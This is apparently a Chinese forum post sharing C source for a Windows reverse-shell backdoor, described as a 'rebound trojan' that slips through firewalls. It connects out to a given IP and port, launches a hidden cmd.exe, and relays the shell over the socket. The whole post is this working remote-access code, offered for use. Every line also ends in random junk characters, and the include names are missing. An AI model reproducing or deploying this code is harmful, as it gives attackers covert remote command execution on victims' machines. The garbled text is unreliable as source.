这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %3r:s`{
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/* ============================== w?Ju5 5
Rebound port in Windows NT C#0Qd%
By wind,2006/7 ay
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===============================*/ T1WWK'
#include #KlCZ~s
#include \*t~==WB
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#pragma comment(lib,"wsock32.lib") r=.A'"Kf
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void OutputShell(); !~i'
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SOCKET sClient; ]b?9zeT*'l
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; t<iEj"5
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void main(int argc,char **argv) cZ8.TsI~
{ s"KJiQKGM
WSADATA stWsaData; W!Gdf^Yy<
int nRet; (rtY!<|p
SOCKADDR_IN stSaiClient,stSaiServer; k44Q):ncY7
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if(argc != 3) AM"jX"F9/
{ cf_|nL#9
printf("Useage:\n\rRebound DestIP DestPort\n"); _*M42<wcO
return; -_OS%ARa
} .wA+S8}S
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WSAStartup(MAKEWORD(2,2),&stWsaData); Y*oDO$6
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g^Yl TB
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stSaiClient.sin_family = AF_INET; Uh
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stSaiClient.sin_port = htons(0); {=2DqkTD
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9# 4Y1L S)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 38ES($
{ ?
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printf("Bind Socket Failed!\n"); e> rRTN
return; .R*!aK
} hOv={:
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stSaiServer.sin_family = AF_INET; u|#>32kV
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); inb^$v
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); INs!Ame2
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Psur a$:
{ p^kUs0$GS
printf("Connect Error!"); w>fdQ!RdP
return; .{KjEg 6
} bu7'oB~:V^
OutputShell(); #eZ6)i<
}
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void OutputShell() N]EcEM #
{ JG[o"&Sd
char szBuff[1024]; O%~jop7#6
SECURITY_ATTRIBUTES stSecurityAttributes; |'ln?D:&
OSVERSIONINFO stOsversionInfo; `nXVE+E@
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,C.:;Ime({
STARTUPINFO stStartupInfo; WL,&-*JAW
char *szShell; ]r!>{
PROCESS_INFORMATION stProcessInformation; 3ya1'qUC
unsigned long lBytesRead; %=AxJp!a
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qSqI7ptA\
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |s#'dS;
stSecurityAttributes.lpSecurityDescriptor = 0; enNiI$H]`_
stSecurityAttributes.bInheritHandle = TRUE; .o1^Oh
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); o}Odw;
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9Etz:?)b
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <}U'V}g
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +x?#DH-
stStartupInfo.wShowWindow = SW_HIDE; |{*}|
stStartupInfo.hStdInput = hReadPipe; ,/&'m13b/L
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5J)=} e
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GetVersionEx(&stOsversionInfo); UX3BeUi.)
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switch(stOsversionInfo.dwPlatformId) zsU=sTsL
{ %<?0apO
case 1: )k&a}u5y
szShell = "command.com"; u~
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break; a07@C
default: tt?58dm|
szShell = "cmd.exe"; P1b'%
break; s]T""-He
} n?\ nn3
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `b8v1Os^2
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send(sClient,szMsg,77,0); Qu5UVjbE,
while(1) #j#_cImE
{ nVu&/
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); y-p70.'{U
if(lBytesRead) $@d9<83=
{ 4Wy<?O2
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); QB:i/9
send(sClient,szBuff,lBytesRead,0);
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} k4qp u=@U
else FJ*i\Q/D
{ E_F5(xSA
lBytesRead=recv(sClient,szBuff,1024,0); kt[:@Nda9
if(lBytesRead<=0) break; <R%;~) {
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -yGDh+-
} O20M[_S
} Z3k(P
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return; I$Qs;- (
}